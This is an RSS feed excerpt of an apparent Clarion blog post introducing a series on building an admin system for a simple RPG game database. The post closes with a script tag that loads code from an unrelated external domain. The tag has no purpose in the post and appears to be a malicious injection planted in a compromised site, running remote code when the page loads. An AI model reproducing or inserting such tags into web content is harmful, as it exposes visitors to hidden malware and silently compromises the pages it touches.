<p>.. Interaction with the Database. In a Game, the User has much less interaction with and effect on the Database. It is the Engine which manipulates the data. To varying degrees, obviously. And there are Business programs which wouldn&#8217;t be so far removed.</p>
<p>&nbsp;</p>
<p>What I&#8217;m getting at here is that when you sit down to create a piece of Accounting Software, you think in terms of Data and User Interface. In a Game, it&#8217;s about Data, User Interface, and the Engine.</p>
<p>&nbsp;</p>
<p>Data. User Interface. The Engine.</p>
<p>&nbsp;</p>
<p>So what&#8217;s this post doing on a Clarion blog? Good question! I&#8217;m so glad you asked.</p>
<p>&nbsp;</p>
<p>I&#8217;m going to set about creating a Backend Administration System for a simple RPG Database. </p>
<p>&nbsp;</p>
<blockquote><p><font color="#333333">The Database is not going to be perfect. In fact, it will purposely leave big chunks of what actually should be in a Game Database out. </font></p>
<p><font color="#333333">Plus, you have to leave room for my stupidity.</font></p>
</blockquote>
<p>&nbsp;</p>
<p>In the next post in this series, we&#8217;ll take a look at the RPG Database and deconstruct it a little. The third post will then go through in screenshots how we create the Clarion Dictionary (the place where all the Table references are kept). The fourth post will screenshot through the process of making the Application itself. And the last post will probably be a movie of it all. Maybe.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://clarionfolk.com/2008/08/18/1-introduction-clarion-a-game-database/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
